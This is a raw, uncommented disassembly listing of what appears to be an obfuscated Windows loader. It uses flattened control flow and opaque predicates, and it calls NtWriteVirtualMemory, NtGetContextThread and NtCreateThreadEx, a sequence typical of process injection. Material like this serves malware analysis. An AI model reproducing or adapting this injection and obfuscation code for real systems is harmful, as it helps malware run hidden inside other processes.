xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcd828ea8
mov ecx, 0x43788e35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0xa4]
mov edx, dword [ebp - 0xa4]
sub edx, 0xa9213093
add edx, eax
add edx, 0xa9213093
mov eax, dword [ebp - 0x15c]
mov esi, dword [eax]
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xa8]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x174], 0xa0b82a40
jmp 0x1000ed37
mov eax, dword [ebp - 0x134]
mov dword [ebp - 0x174], 0x1310b50
jmp 0x1000ed37
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov edx, dword [ebp - 0x114]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, edx
xor eax, esi
and eax, edx
add ecx, 0x8e9ef7b0
add ecx, eax
sub ecx, 0x8e9ef7b0
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x15c]
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
mov edx, ecx
add edx, 0xfadacb75
sub edx, 1
sub edx, 0xfadacb75
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x36c702a3
mov ecx, 0x80c932e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov dword [ebp - 0x174], 0x2b11af6f
jmp 0x1000ed37
mov eax, dword [0x10065688]
mov ecx, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa4da7e17
mov ecx, 0x4eab7aff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
mov ecx, dword [0x10065688]
mov eax, dword [0x10065684]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x92c60036
mov ecx, 0xbc1e43e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000ed37
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov dword [ebp - 0x174], 0x4d99c054
jmp 0x1000ed37
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtGetContextThread
mov dword [ebp - 0x174], 0x24b2d02f
jmp 0x1000ed37
mov dword [ebp - 0x174], 0x2a5dd060
jmp 0x1000ed37
mov dword [ebp - 0x174], 0x8962e2a2
jmp 0x1000ed37
mov dword [ebp - 0x174], 0x2aa64bbe
jmp 0x1000ed37
mov eax, dword [ebp - 0x118]
mov edx, dword [eax]
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x10c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x174], 0xf2d325ff
jmp 0x1000ed37
mov dword [ebp - 0x174], 0xf9f5225e
jmp 0x1000ed37
mov dword [ebp - 0x174], 0x31d915eb
jmp 0x1000ed37
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
sub ecx, 0x3aaf7312
sub ecx, eax
add ecx, 0x3aaf7312
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x148]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
add ecx, 0x40f581e3
add ecx, eax
sub ecx, 0x40f581e3
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x15c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf8]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov dword [ebp - 0x174], 0x4eab7aff
jmp 0x1000ed37
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x174], 0xbc1e43e6
jmp 0x10007c0f